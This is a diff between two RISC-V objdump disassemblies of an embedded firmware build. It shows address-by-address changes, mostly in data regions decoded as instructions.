-    278a:	0050                	addi	a2,sp,4
+    2786:	ef06                	fsw	ft1,156(sp)
+    2788:	6e01                	0x6e01
+    278a:	0065                	c.nop	25
     278c:	0500                	addi	s0,sp,640
-    278e:	774f01e7          	jalr	gp,1908(t5) # fffe1774 <_heap_end+0x7ffd2f74>
+    278e:	01f0                	addi	a2,sp,204
+    2790:	25e5                	jal	2e78 <__stack_size+0x2678>
     2792:	0000                	unimp
-    2794:	ef06                	fsw	ft1,156(sp)
-    2796:	ab01                	j	2ca6 <__stack_size+0x24a6>
-    2798:	0064                	addi	s1,sp,12
-    279a:	0500                	addi	s0,sp,640
-    279c:	01f0                	addi	a2,sp,204
-    279e:	252c                	fld	fa1,72(a0)
+    2794:	f106                	fsw	ft1,160(sp)
+    2796:	a301                	j	2c96 <__stack_size+0x2496>
+    2798:	0500009b          	0x500009b
+    279c:	01f2                	slli	gp,gp,0x1c
+    279e:	9292                	add	t0,t0,tp
     27a0:	0000                	unimp
-    27a2:	f106                	fsw	ft1,160(sp)
-    27a4:	2601                	jal	2aa4 <__stack_size+0x22a4>
-    27a6:	0500009b          	0x500009b
-    27aa:	01f2                	slli	gp,gp,0x1c
-    27ac:	000091eb          	0x91eb
-    27b0:	f306                	fsw	ft1,164(sp)
-    27b2:	f901                	bnez	a0,26c2 <__stack_size+0x1ec2>
-    27b4:	003a                	c.slli	zero,0xe
+    27a2:	f306                	fsw	ft1,164(sp)
+    27a4:	af01                	j	2eb4 <__stack_size+0x26b4>
+    27a6:	0055                	c.nop	21
+    27a8:	0500                	addi	s0,sp,640
+    27aa:	01f4                	addi	a3,sp,204
+    27ac:	2488                	fld	fa0,8(s1)
+    27ae:	0000                	unimp
+    27b0:	f506                	fsw	ft1,168(sp)
+    27b2:	4601                	li	a2,0
+    27b4:	001e                	c.slli	zero,0x7
     27b6:	0500                	addi	s0,sp,640
-    27b8:	01f4                	addi	a3,sp,204
-    27ba:	23dc                	fld	fa5,128(a5)
-    27bc:	0000                	unimp
-    27be:	f506                	fsw	ft1,168(sp)
-    27c0:	2501                	jal	2dc0 <__stack_size+0x25c0>
-    27c2:	001e                	c.slli	zero,0x7
+    27b8:	01f6                	slli	gp,gp,0x1d
+    27ba:	00006abb          	0x6abb
+    27be:	f706                	fsw	ft1,172(sp)
+    27c0:	6d01                	0x6d01
+    27c2:	0065                	c.nop	25
     27c4:	0500                	addi	s0,sp,640
-    27c6:	01f6                	slli	gp,gp,0x1d
-    27c8:	6a19                	lui	s4,0x6
+    27c6:	01f8                	addi	a4,sp,204
+    27c8:	5fd5                	li	t6,-11
     27ca:	0000                	unimp
-    27cc:	f706                	fsw	ft1,172(sp)
-    27ce:	aa01                	j	28de <__stack_size+0x20de>
-    27d0:	0064                	addi	s1,sp,12
-    27d2:	0500                	addi	s0,sp,640
-    27d4:	01f8                	addi	a4,sp,204
-    27d6:	5ec9                	li	t4,-14
+    27cc:	f906                	fsw	ft1,176(sp)
+    27ce:	a201                	j	28ce <__stack_size+0x20ce>
+    27d0:	0500009b          	0x500009b
+    27d4:	01fa                	slli	gp,gp,0x1e
+    27d6:	5ab2                	lw	s5,44(sp)
     27d8:	0000                	unimp
-    27da:	f906                	fsw	ft1,176(sp)
-    27dc:	2501                	jal	2ddc <__stack_size+0x25dc>
-    27de:	0500009b          	0x500009b
-    27e2:	01fa                	slli	gp,gp,0x1e
-    27e4:	1272                	slli	tp,tp,0x3c
-    27e6:	0000                	unimp
-    27e8:	fb06                	fsw	ft1,180(sp)
-    27ea:	f801                	bnez	s0,26fa <__stack_size+0x1efa>
-    27ec:	003a                	c.slli	zero,0xe
+    27da:	fb06                	fsw	ft1,180(sp)
+    27dc:	ae01                	j	2aec <__stack_size+0x22ec>
+    27de:	0055                	c.nop	21
+    27e0:	0500                	addi	s0,sp,640
+    27e2:	01fc                	addi	a5,sp,204
+    27e4:	43df 0000 fd06      	0xfd06000043df
+    27ea:	4501                	li	a0,0
+    27ec:	001e                	c.slli	zero,0x7
     27ee:	0500                	addi	s0,sp,640
-    27f0:	01fc                	addi	a5,sp,204
-    27f2:	42e0                	lw	s0,68(a3)
+    27f0:	01fe                	slli	gp,gp,0x1f
+    27f2:	952a                	add	a0,a0,a0
     27f4:	0000                	unimp
-    27f6:	fd06                	fsw	ft1,184(sp)
-    27f8:	2401                	jal	29f8 <__stack_size+0x21f8>
-    27fa:	001e                	c.slli	zero,0x7
+    27f6:	ff06                	fsw	ft1,188(sp)
+    27f8:	f501                	bnez	a0,2700 <__stack_size+0x1f00>
+    27fa:	0041                	c.nop	16
     27fc:	0500                	addi	s0,sp,640
-    27fe:	01fe                	slli	gp,gp,0x1f
-    2800:	0000947b          	0x947b
-    2804:	ff06                	fsw	ft1,188(sp)
-    2806:	ea01                	bnez	a2,2816 <__stack_size+0x2016>
-    2808:	0040                	addi	s0,sp,4
+    27fe:	0280                	addi	s0,sp,320
+    2800:	5796                	lw	a5,100(sp)
+    2802:	0000                	unimp
+    2804:	8106                	mv	sp,ra
+    2806:	f402                	fsw	ft0,40(sp)
+    2808:	0041                	c.nop	16
     280a:	0500                	addi	s0,sp,640
-    280c:	0280                	addi	s0,sp,320
-    280e:	5655                	li	a2,-11
+    280c:	0282                	c.slli64	t0
+    280e:	12c1                	addi	t0,t0,-16
     2810:	0000                	unimp
-    2812:	8106                	mv	sp,ra
-    2814:	e902                	fsw	ft0,144(sp)
-    2816:	0040                	addi	s0,sp,4
-    2818:	0500                	addi	s0,sp,640
-    281a:	0282                	c.slli64	t0
-    281c:	136e                	slli	t1,t1,0x3b
-    281e:	0000                	unimp
-    2820:	0400                	addi	s0,sp,512
-    2822:	0000                	unimp
-    2824:	0a05                	addi	s4,s4,1
-    2826:	87bc                	0x87bc
-    2828:	0000                	unimp
-    282a:	0d05                	addi	s10,s10,1
-    282c:	7714                	flw	fa3,40(a4)
-    282e:	0000                	unimp
-    2830:	0e05                	addi	t3,t3,1
-    2832:	4ca5                	li	s9,9
-    2834:	0000                	unimp
-    2836:	1305                	addi	t1,t1,-31
-    2838:	8b6d                	andi	a4,a4,27
-    283a:	0000                	unimp
-    283c:	1f05                	addi	t5,t5,-31
-    283e:	8df0                	0x8df0
-    2840:	0000                	unimp
-    2842:	4c05                	li	s8,1
-    2844:	6699                	lui	a3,0x6
-    2846:	0000                	unimp
-    2848:	5205                	li	tp,-31
-    284a:	981a                	add	a6,a6,t1
-    284c:	0000                	unimp
-    284e:	5805                	li	a6,-31
-    2850:	2f14                	fld	fa3,24(a4)
-    2852:	0000                	unimp
-    2854:	5d05                	li	s10,-31
-    2856:	00001687          	0x1687
-    285a:	7d05                	lui	s10,0xfffe1
-    285c:	6a5f 0000 8505      	0x850500006a5f
-    2862:	8e01                	sub	a2,a2,s0
-    2864:	0500004f          	0x500004f
-    2868:	0186                	slli	gp,gp,0x1
-    286a:	000046af          	0x46af
-    286e:	8705                	srai	a4,a4,0x1
-    2870:	a001                	j	2870 <__stack_size+0x2070>
-    2872:	0500006f          	j	28c2 <__stack_size+0x20c2>
-    2876:	0188                	addi	a0,sp,192
-    2878:	4368                	lw	a0,68(a4)
+    2812:	0400                	addi	s0,sp,512
+    2814:	0000                	unimp
+    2816:	0a05                	addi	s4,s4,1
+    2818:	885f 0000 0d05      	0xd050000885f
+    281e:	77bc                	flw	fa5,104(a5)
+    2820:	0000                	unimp
+    2822:	0e05                	addi	t3,t3,1
+    2824:	20bc                	fld	fa5,64(s1)
+    2826:	0000                	unimp
+    2828:	1305                	addi	t1,t1,-31
+    282a:	8c20                	0x8c20
+    282c:	0000                	unimp
+    282e:	1f05                	addi	t5,t5,-31
+    2830:	8eaa                	mv	t4,a0
+    2832:	0000                	unimp
+    2834:	4c05                	li	s8,1
+    2836:	6709                	lui	a4,0x2
+    2838:	0000                	unimp
+    283a:	5205                	li	tp,-31
+    283c:	98bd                	andi	s1,s1,-17
+    283e:	0000                	unimp
+    2840:	5805                	li	a6,-31
+    2842:	3008                	fld	fa0,32(s0)
+    2844:	0000                	unimp
+    2846:	5d05                	li	s10,-31
+    2848:	15d6                	slli	a1,a1,0x35
+    284a:	0000                	unimp
+    284c:	7d05                	lui	s10,0xfffe1
+    284e:	6b01                	0x6b01
+    2850:	0000                	unimp
+    2852:	8505                	srai	a0,a0,0x1
+    2854:	c601                	beqz	a2,285c <__stack_size+0x205c>
+    2856:	0045                	c.nop	17
+    2858:	0500                	addi	s0,sp,640
+    285a:	0186                	slli	gp,gp,0x1
+    285c:	47cc                	lw	a1,12(a5)
+    285e:	0000                	unimp
+    2860:	8705                	srai	a4,a4,0x1
+    2862:	3901                	jal	2472 <__stack_size+0x1c72>
+    2864:	0070                	addi	a2,sp,12
+    2866:	0500                	addi	s0,sp,640
+    2868:	0188                	addi	a0,sp,192
+    286a:	00004467          	0x4467
+    286e:	8905                	andi	a0,a0,1
+    2870:	c101                	beqz	a0,2870 <__stack_size+0x2070>
+    2872:	0048                	addi	a0,sp,4
+    2874:	0500                	addi	s0,sp,640
+    2876:	018a                	slli	gp,gp,0x2
+    2878:	9f82                	jalr	t6
     287a:	0000                	unimp
-    287c:	8905                	andi	a0,a0,1
-    287e:	a401                	j	2a7e <__stack_size+0x227e>
-    2880:	05000047          	0x5000047
-    2884:	018a                	slli	gp,gp,0x2
-    2886:	9f4a                	add	t5,t5,s2
-    2888:	0000                	unimp
-    288a:	8b05                	andi	a4,a4,1
-    288c:	1501                	addi	a0,a0,-32
-    288e:	0052                	c.slli	zero,0x14
-    2890:	0500                	addi	s0,sp,640
-    2892:	018d                	addi	gp,gp,3
-    2894:	518d                	li	gp,-29
+    287c:	8b05                	andi	a4,a4,1
+    287e:	3701                	jal	277e <__stack_size+0x1f7e>
+    2880:	05000053          	0x5000053
+    2884:	018d                	addi	gp,gp,3
+    2886:	000052cf          	fnmadd.s	ft5,ft0,ft0,ft0,unknown
+    288a:	8e05                	sub	a2,a2,s1
+    288c:	ba01                	j	219c <__stack_size+0x199c>
+    288e:	0500009b          	0x500009b
+    2892:	2ab0018f          	0x2ab0018f
     2896:	0000                	unimp
-    2898:	8e05                	sub	a2,a2,s1
-    289a:	3d01                	jal	26aa <__stack_size+0x1eaa>
-    289c:	0500009b          	0x500009b
-    28a0:	358e018f          	0x358e018f
-    28a4:	0000                	unimp
-    28a6:	9005                	srli	s0,s0,0x21
-    28a8:	ac01                	j	2ab8 <__stack_size+0x22b8>
-    28aa:	005f 0500 0191      	0x1910500005f
-    28b0:	00005123          	0x5123
-    28b4:	9205                	srli	a2,a2,0x21
-    28b6:	fd01                	bnez	a0,27ce <__stack_size+0x1fce>
-    28b8:	0010                	0x10
+    2898:	9005                	srli	s0,s0,0x21
+    289a:	ad01                	j	2eaa <__stack_size+0x26aa>
+    289c:	0500001b          	0x500001b
+    28a0:	0191                	addi	gp,gp,4
+    28a2:	0000524b          	fnmsub.s	ft4,ft0,ft0,ft0,unknown
+    28a6:	9205                	srli	a2,a2,0x21
+    28a8:	9101                	srli	a0,a0,0x20
+    28aa:	0010                	0x10
+    28ac:	0500                	addi	s0,sp,640
+    28ae:	0194                	addi	a3,sp,192
+    28b0:	00006d3b          	0x6d3b
+    28b4:	9505                	srai	a0,a0,0x21
+    28b6:	ba01                	j	21c6 <__stack_size+0x19c6>
+    28b8:	0078                	addi	a4,sp,12
     28ba:	0500                	addi	s0,sp,640
-    28bc:	0194                	addi	a3,sp,192
-    28be:	6c9d                	lui	s9,0x7
-    28c0:	0000                	unimp
-    28c2:	9505                	srai	a0,a0,0x21
-    28c4:	bb01                	j	25d4 <__stack_size+0x1dd4>
-    28c6:	0038                	addi	a4,sp,8
+    28bc:	0196                	slli	gp,gp,0x5
+    28be:	0000006f          	j	28be <__stack_size+0x20be>
+    28c2:	9705                	srai	a4,a4,0x21
+    28c4:	9e01                	0x9e01
+    28c6:	004d                	c.nop	19
     28c8:	0500                	addi	s0,sp,640
-    28ca:	0196                	slli	gp,gp,0x5
-    28cc:	0000006f          	j	28cc <__stack_size+0x20cc>
-    28d0:	9705                	srai	a4,a4,0x21
-    28d2:	5f01                	li	t5,-32
-    28d4:	004c                	addi	a1,sp,4
+    28ca:	019a                	slli	gp,gp,0x6
+    28cc:	839f 0000 9b05      	0x9b050000839f
+    28d2:	2c01                	jal	2ae2 <__stack_size+0x22e2>
+    28d4:	005d                	c.nop	23
     28d6:	0500                	addi	s0,sp,640
-    28d8:	019a                	slli	gp,gp,0x6
-    28da:	8319                	srli	a4,a4,0x6
-    28dc:	0000                	unimp
-    28de:	9b05                	andi	a4,a4,-31
-    28e0:	2201                	jal	29e0 <__stack_size+0x21e0>
-    28e2:	005c                	addi	a5,sp,4
-    28e4:	0500                	addi	s0,sp,640
-    28e6:	019c                	addi	a5,sp,192
-    28e8:	00002fb3          	sltz	t6,zero
-    28ec:	9d05                	0x9d05
-    28ee:	4401                	li	s0,0
-    28f0:	0062                	c.slli	zero,0x18
+    28d8:	019c                	addi	a5,sp,192
+    28da:	000030a7          	fsd	ft0,1(zero) # 1 <__stack_size-0x7ff>
+    28de:	9d05                	0x9d05
+    28e0:	0f01                	addi	t5,t5,0
+    28e2:	05000063          	beq	zero,a6,2922 <__stack_size+0x2122>
+    28e6:	01a0                	addi	s0,sp,200
+    28e8:	33e4                	fld	fs1,224(a5)
+    28ea:	0000                	unimp
+    28ec:	a105                	j	2d0c <__stack_size+0x250c>
+    28ee:	5501                	li	a0,-32
+    28f0:	0006                	c.slli	zero,0x1
     28f2:	0500                	addi	s0,sp,640
-    28f4:	01a0                	addi	s0,sp,200
-    28f6:	32e9                	jal	22c0 <__stack_size+0x1ac0>
+    28f4:	466c01a3          	sb	t1,1123(s8) # fffef463 <_heap_end+0x7ffe0c63>
     28f8:	0000                	unimp
-    28fa:	a105                	j	2d1a <__stack_size+0x251a>
-    28fc:	df01                	beqz	a4,2814 <__stack_size+0x2014>
-    28fe:	0006                	c.slli	zero,0x1
+    28fa:	a405                	j	2b1a <__stack_size+0x231a>
+    28fc:	7801                	lui	a6,0xfffe0
+    28fe:	0078                	addi	a4,sp,12
     2900:	0500                	addi	s0,sp,640
-    2902:	031c01a3          	sb	a7,35(s8) # 1a023 <__stack_size+0x19823>
+    2902:	01a5                	addi	gp,gp,9
+    2904:	74b5                	lui	s1,0xfffed
     2906:	0000                	unimp
-    2908:	a405                	j	2b28 <__stack_size+0x2328>
-    290a:	db01                	beqz	a4,281a <__stack_size+0x201a>
-    290c:	05000077          	0x5000077
-    2910:	01a5                	addi	gp,gp,9
-    2912:	741a                	flw	fs0,164(sp)
+    2908:	a605                	j	2c28 <__stack_size+0x2428>
+    290a:	4901                	li	s2,0
+    290c:	0500005b          	0x500005b
+    2910:	01aa                	slli	gp,gp,0xa
+    2912:	2f72                	fld	ft10,280(sp)
     2914:	0000                	unimp
-    2916:	a605                	j	2c36 <__stack_size+0x2436>
-    2918:	2d01                	jal	2f28 <__stack_size+0x2728>
-    291a:	005a                	c.slli	zero,0x16
+    2916:	af05                	j	3046 <__stack_size+0x2846>
+    2918:	8601                	c.srai64	a2
+    291a:	009c                	addi	a5,sp,64
     291c:	0500                	addi	s0,sp,640
-    291e:	01aa                	slli	gp,gp,0xa
-    2920:	2e7e                	fld	ft8,472(sp)
+    291e:	01b5                	addi	gp,gp,13
+    2920:	6ea5                	lui	t4,0x9
     2922:	0000                	unimp
-    2924:	af05                	j	3054 <__stack_size+0x2854>
-    2926:	0901                	addi	s2,s2,0
-    2928:	009c                	addi	a5,sp,64
-    292a:	0500                	addi	s0,sp,640
-    292c:	01b5                	addi	gp,gp,13
-    292e:	6e0c                	flw	fa1,24(a2)
+    2924:	bd05                	j	2754 <__stack_size+0x1f54>
+    2926:	b801                	j	2136 <__stack_size+0x1936>
+    2928:	05000017          	auipc	zero,0x5000
+    292c:	01c5                	addi	gp,gp,17
+    292e:	86dd                	srai	a3,a3,0x17
     2930:	0000                	unimp
-    2932:	bd05                	j	2762 <__stack_size+0x1f62>
-    2934:	6901                	0x6901
-    2936:	0018                	0x18
-    2938:	0500                	addi	s0,sp,640
-    293a:	01c5                	addi	gp,gp,17
-    293c:	863a                	mv	a2,a4
-    293e:	0000                	unimp
-    2940:	0400                	addi	s0,sp,512
-    2942:	0200                	addi	s0,sp,256
-    2944:	2816                	fld	fa6,320(sp)
-    2946:	0000                	unimp
-    2948:	00030c07          	0x30c07
-    294c:	0300                	addi	s0,sp,384
-    294e:	0100                	addi	s0,sp,128
-    2950:	050c0303          	lb	t1,80(s8)
-    2954:	aa08                	fsd	fa0,16(a2)
-    2956:	0300000b          	0x300000b
-    295a:	0d0a                	slli	s10,s10,0x2
-    295c:	00000007          	0x7
-    2960:	0400                	addi	s0,sp,512
-    2962:	050e0b03          	lb	s6,80(t3)
-    2966:	2408                	fld	fa0,8(s0)
-    2968:	0016                	c.slli	zero,0x5
-    296a:	0300                	addi	s0,sp,384
-    296c:	0f0a                	slli	t5,t5,0x2
-    296e:	0805                	addi	a6,a6,1
-    2970:	6bc6                	flw	fs7,80(sp)
+    2932:	0400                	addi	s0,sp,512
+    2934:	0000                	unimp
+    2936:	0805                	addi	a6,a6,1
+    2938:	9d88                	0x9d88
+    293a:	0000                	unimp
+    293c:	1305                	addi	t1,t1,-31
+    293e:	53da                	lw	t2,180(sp)
+    2940:	0000                	unimp
+    2942:	0400                	addi	s0,sp,512
+    2944:	0200                	addi	s0,sp,256
+    2946:	0b32                	slli	s6,s6,0xc
+    2948:	0000                	unimp
+    294a:	0002fe07          	0x2fe07
+    294e:	0300                	addi	s0,sp,384
+    2950:	0100                	addi	s0,sp,128
+    2952:	05020103          	lb	sp,80(tp) # 50 <__stack_size-0x7b0>
+    2956:	d602                	sw	zero,44(sp)
+    2958:	0050                	addi	a2,sp,4
+    295a:	0300                	addi	s0,sp,384
+    295c:	0604                	addi	s1,sp,768
+    295e:	07050b03          	lb	s6,112(a0) # fffe1070 <_heap_end+0x7ffd2870>
+    2962:	0000                	unimp
+    2964:	0000                	unimp
+    2966:	0504                	addi	s1,sp,640
+    2968:	fc0d                	bnez	s0,28a2 <__stack_size+0x20a2>
+    296a:	001e                	c.slli	zero,0x7
+    296c:	0400                	addi	s0,sp,512
+    296e:	07070503          	lb	a0,112(a4) # 2070 <__stack_size+0x1870>
     2972:	0000                	unimp
-    2974:	07100e03          	lb	t3,113(zero) # 71 <__stack_size-0x78f>
-    2978:	0000                	unimp
-    297a:	0000                	unimp
-    297c:	0704                	addi	s1,sp,896
+    2974:	0000                	unimp
+    2976:	0304                	addi	s1,sp,384
+    2978:	0406                	slli	s0,s0,0x1
+    297a:	0805                	addi	a6,a6,1
+    297c:	0b32                	slli	s6,s6,0xc
     297e:	0000                	unimp
-    2980:	0000                	unimp
-    2982:	0304                	addi	s1,sp,384
-    2984:	0205110b          	0x205110b
-    2988:	55d6                	lw	a1,116(sp)
-    298a:	0000                	unimp
-    298c:	040d0403          	lb	s0,64(s10) # fffe1040 <_heap_end+0x7ffd2840>
-    2990:	07120503          	lb	a0,113(tp) # 16071 <__stack_size+0x15871>
-    2994:	0a99                	addi	s5,s5,6
-    2996:	0000                	unimp
-    2998:	0704                	addi	s1,sp,896
-    299a:	0b2d                	addi	s6,s6,11
-    299c:	0000                	unimp
-    299e:	0704                	addi	s1,sp,896
-    29a0:	0b61                	addi	s6,s6,24
-    29a2:	0000                	unimp
-    29a4:	0704                	addi	s1,sp,896
-    29a6:	0000                	unimp
-    29a8:	0000                	unimp
-    29aa:	07021003          	lh	zero,112(tp) # 70 <__stack_size-0x790>
-    29ae:	2b4e                	fld	fs6,208(sp)
-    29b0:	0000                	unimp
-    29b2:	0304                	addi	s1,sp,384
-    29b4:	1312                	slli	t1,t1,0x24
-    29b6:	0b05                	addi	s6,s6,1
-    29b8:	82e1                	srli	a3,a3,0x18
-    29ba:	0000                	unimp
-    29bc:	040e0d03          	lb	s10,64(t3)
-    29c0:	07020e03          	lb	t3,112(tp) # 70 <__stack_size-0x790>
-    29c4:	2c5c                	fld	fa5,152(s0)
-    29c6:	0000                	unimp
-    29c8:	0304                	addi	s1,sp,384
-    29ca:	0007040f          	0x7040f
-    29ce:	0000                	unimp
+    2980:	07080a03          	lb	s4,112(a6) # fffe0070 <_heap_end+0x7ffd1870>
+    2984:	0a72                	slli	s4,s4,0x1c
+    2986:	0000                	unimp
+    2988:	0304                	addi	s1,sp,384
+    298a:	0805090b          	0x805090b
+    298e:	00001573          	csrrw	a0,ustatus,zero
+    2992:	050a0a03          	lb	s4,80(s4)
+    2996:	6408                	flw	fa0,8(s0)
+    2998:	006c                	addi	a1,sp,12
+    299a:	0300                	addi	s0,sp,384
+    299c:	0b0e                	slli	s6,s6,0x3
+    299e:	00000007          	0x7
+    29a2:	0400                	addi	s0,sp,512
+    29a4:	00000007          	0x7
+    29a8:	0400                	addi	s0,sp,512
+    29aa:	050c0b03          	lb	s6,80(s8)
+    29ae:	0402                	c.slli64	s0
+    29b0:	03000057          	0x3000057
+    29b4:	0804                	addi	s1,sp,16
+    29b6:	0304                	addi	s1,sp,384
+    29b8:	0d05                	addi	s10,s10,1
+    29ba:	00000007          	0x7
+    29be:	0400                	addi	s0,sp,512
+    29c0:	00000007          	0x7
+    29c4:	0400                	addi	s0,sp,512
+    29c6:	00000007          	0x7
+    29ca:	0400                	addi	s0,sp,512
+    29cc:	00000007          	0x7
     29d0:	0300                	addi	s0,sp,384
-    29d2:	0218                	addi	a4,sp,256
+    29d2:	0710                	addi	a2,sp,896
     29d4:	00000007          	0x7
     29d8:	0400                	addi	s0,sp,512
-    29da:	05141b03          	lh	s6,81(s0) # fffe0051 <_heap_end+0x7ffd1851>
-    29de:	7106                	flw	ft2,96(sp)
-    29e0:	009e                	slli	ra,ra,0x7
+    29da:	050e1203          	lh	tp,80(t3)
+    29de:	0083670b          	0x83670b
     29e2:	0300                	addi	s0,sp,384
-    29e4:	00070307          	0x70307
-    29e8:	0000                	unimp
-    29ea:	0400                	addi	s0,sp,512
-    29ec:	0704                	addi	s1,sp,896
-    29ee:	0000                	unimp
+    29e4:	090d                	addi	s2,s2,3
+    29e6:	0304                	addi	s1,sp,384
+    29e8:	070e                	slli	a4,a4,0x3
+    29ea:	0304                	addi	s1,sp,384
+    29ec:	00070f0f          	0x70f0f
     29f0:	0000                	unimp
-    29f2:	0704                	addi	s1,sp,896
-    29f4:	0000                	unimp
-    29f6:	0000                	unimp
-    29f8:	07152203          	lw	tp,113(a0) # fffe1071 <_heap_end+0x7ffd2871>
-    29fc:	0000                	unimp
-    29fe:	0000                	unimp
-    2a00:	0704                	addi	s1,sp,896
-    2a02:	0000                	unimp
-    2a04:	0000                	unimp
-    2a06:	0304                	addi	s1,sp,384
-    2a08:	2b051613          	0x2b051613
-    2a0c:	6a50                	flw	fa2,20(a2)
-    2a0e:	0000                	unimp
-    2a10:	04022f03          	lw	t5,64(tp) # 40 <__stack_size-0x7c0>
-    2a14:	00000007          	0x7
-    2a18:	0400                	addi	s0,sp,512
-    2a1a:	05171403          	lh	s0,81(a4) # fffe0051 <_heap_end+0x7ffd1851>
-    2a1e:	be02                	fsd	ft0,312(sp)
-    2a20:	0015                	c.nop	5
-    2a22:	0400                	addi	s0,sp,512
-    2a24:	07181603          	lh	a2,113(a6) # fffe0071 <_heap_end+0x7ffd1871>
-    2a28:	0000                	unimp
-    2a2a:	0000                	unimp
-    2a2c:	0704                	addi	s1,sp,896
-    2a2e:	0000                	unimp
+    29f2:	0300                	addi	s0,sp,384
+    29f4:	0718                	addi	a4,sp,896
+    29f6:	00000007          	0x7
+    29fa:	0400                	addi	s0,sp,512
+    29fc:	05101b03          	lh	s6,81(zero) # 51 <__stack_size-0x7af>
+    2a00:	d306                	sw	ra,164(sp)
+    2a02:	009e                	slli	ra,ra,0x7
+    2a04:	0300                	addi	s0,sp,384
+    2a06:	00071107          	0x71107
+    2a0a:	0000                	unimp
+    2a0c:	0400                	addi	s0,sp,512
+    2a0e:	0704                	addi	s1,sp,896
+    2a10:	1312                	slli	t1,t1,0x24
+    2a12:	0000                	unimp
+    2a14:	0704                	addi	s1,sp,896
+    2a16:	0000                	unimp
+    2a18:	0000                	unimp
+    2a1a:	07122203          	lw	tp,113(tp) # 71 <__stack_size-0x78f>
+    2a1e:	0000                	unimp
+    2a20:	0000                	unimp
+    2a22:	0704                	addi	s1,sp,896
+    2a24:	0000                	unimp
+    2a26:	0000                	unimp
+    2a28:	0304                	addi	s1,sp,384
+    2a2a:	2b051313          	0x2b051313
+    2a2e:	6af2                	flw	fs5,28(sp)
     2a30:	0000                	unimp
-    2a32:	0304                	addi	s1,sp,384
-    2a34:	1904                	addi	s1,sp,176
-    2a36:	0205                	addi	tp,tp,1
-    2a38:	00002db7          	lui	s11,0x2
-    2a3c:	070a0403          	lb	s0,112(s4) # 6070 <__stack_size+0x5870>
-    2a40:	0000                	unimp
-    2a42:	0000                	unimp
-    2a44:	07080c03          	lb	s8,112(a6)
-    2a48:	0000                	unimp
+    2a32:	04072f03          	lw	t5,64(a4)
+    2a36:	00000007          	0x7
+    2a3a:	0400                	addi	s0,sp,512
+    2a3c:	05141403          	lh	s0,81(s0)
+    2a40:	1e02                	slli	t3,t3,0x20
+    2a42:	0015                	c.nop	5
+    2a44:	0400                	addi	s0,sp,512
+    2a46:	07151603          	lh	a2,113(a0)
     2a4a:	0000                	unimp
-    2a4c:	07052e03          	lw	t3,112(a0)
+    2a4c:	0000                	unimp
+    2a4e:	0704                	addi	s1,sp,896
     2a50:	0000                	unimp
     2a52:	0000                	unimp
     2a54:	0304                	addi	s1,sp,384
-    2a56:	1a31                	addi	s4,s4,-20
-    2a58:	0205                	addi	tp,tp,1
-    2a5a:	6b61                	lui	s6,0x18
-    2a5c:	0000                	unimp
-    2a5e:	071b0603          	lb	a2,113(s6) # 18071 <__stack_size+0x17871>
-    2a62:	0000                	unimp
-    2a64:	0000                	unimp
-    2a66:	0704                	addi	s1,sp,896
-    2a68:	0000                	unimp
-    2a6a:	0000                	unimp
-    2a6c:	0304                	addi	s1,sp,384
-    2a6e:	1c32                	slli	s8,s8,0x2c
-    2a70:	0205                	addi	tp,tp,1
-    2a72:	78ea                	flw	fa7,184(sp)
-    2a74:	0000                	unimp
-    2a76:	051d0e03          	lb	t3,81(s10)
-    2a7a:	0094ab27          	fsw	fs1,22(s1) # fffe0016 <_heap_end+0x7ffd1816>
-    2a7e:	0400                	addi	s0,sp,512
-    2a80:	07060f03          	lb	t5,112(a2)
-    2a84:	0000                	unimp
-    2a86:	0000                	unimp
-    2a88:	0304                	addi	s1,sp,384
-    2a8a:	1e10                	addi	a2,sp,816
-    2a8c:	2305                	jal	2fac <__stack_size+0x27ac>
-    2a8e:	3870                	fld	fa2,240(s0)
-    2a90:	0000                	unimp
-    2a92:	05072603          	lw	a2,80(a4)
-    2a96:	0125                	addi	sp,sp,9
-    2a98:	0400003b          	0x400003b
-    2a9c:	00000007          	0x7
-    2aa0:	0400                	addi	s0,sp,512
-    2aa2:	00000007          	0x7
-    2aa6:	0400                	addi	s0,sp,512
-    2aa8:	00000007          	0x7
-    2aac:	0300                	addi	s0,sp,384
-    2aae:	01df 051f 9813      	0x9813051f01df
-    2ab4:	0080                	addi	s0,sp,64
-    2ab6:	0300                	addi	s0,sp,384
-    2ab8:	00072017          	auipc	zero,0x72
-    2abc:	0000                	unimp
-    2abe:	0400                	addi	s0,sp,512
-    2ac0:	00000007          	0x7
-    2ac4:	0400                	addi	s0,sp,512
-    2ac6:	2101e003          	0x2101e003
-    2aca:	0604                	addi	s1,sp,768
-    2acc:	01e4                	addi	s1,sp,204
-    2ace:	2ad9                	jal	2ca4 <__stack_size+0x24a4>
-    2ad0:	0000                	unimp
-    2ad2:	0304                	addi	s1,sp,384
-    2ad4:	020e                	slli	tp,tp,0x3
-    2ad6:	00000007          	0x7
-    2ada:	0400                	addi	s0,sp,512
-    2adc:	00000007          	0x7
-    2ae0:	0400                	addi	s0,sp,512
-    2ae2:	0304                	addi	s1,sp,384
-    2ae4:	0b05                	addi	s6,s6,1
-    2ae6:	00000007          	0x7
-    2aea:	0300                	addi	s0,sp,384
-    2aec:	0211                	addi	tp,tp,4
-    2aee:	00000007          	0x7
-    2af2:	0400                	addi	s0,sp,512
-    2af4:	05221403          	lh	s0,82(tp) # 52 <__stack_size-0x7ae>
-    2af8:	ef04                	fsw	fs1,24(a4)
-    2afa:	0038                	addi	a4,sp,8
-    2afc:	0400                	addi	s0,sp,512
-    2afe:	05231803          	lh	a6,82(t1) # fffe0052 <_heap_end+0x7ffd1852>
-    2b02:	031e                	slli	t1,t1,0x7
-    2b04:	0092                	slli	ra,ra,0x4
-    2b06:	0400                	addi	s0,sp,512
-    2b08:	2401af03          	lw	t5,576(gp) # 78c42800 <_data_lma+0x5883c820>
-    2b0c:	0d05                	addi	s10,s10,1
-    2b0e:	2856                	fld	fa6,336(sp)
-    2b10:	0000                	unimp
-    2b12:	0404                	addi	s1,sp,512
-    2b14:	05090603          	lb	a2,80(s2)
-    2b18:	df02                	sw	zero,188(sp)
-    2b1a:	0015                	c.nop	5
-    2b1c:	0300                	addi	s0,sp,384
-    2b1e:	2509                	jal	3120 <__stack_size+0x2920>
-    2b20:	002ce907          	0x2ce907
-    2b24:	0300                	addi	s0,sp,384
-    2b26:	0210                	addi	a2,sp,256
-    2b28:	00000007          	0x7
-    2b2c:	0400                	addi	s0,sp,512
-    2b2e:	07261303          	lh	t1,114(a2)
-    2b32:	0000                	unimp
+    2a56:	00070307          	0x70307
+    2a5a:	0000                	unimp
+    2a5c:	0300                	addi	s0,sp,384
+    2a5e:	0711                	addi	a4,a4,4
+    2a60:	00000007          	0x7
+    2a64:	0400                	addi	s0,sp,512
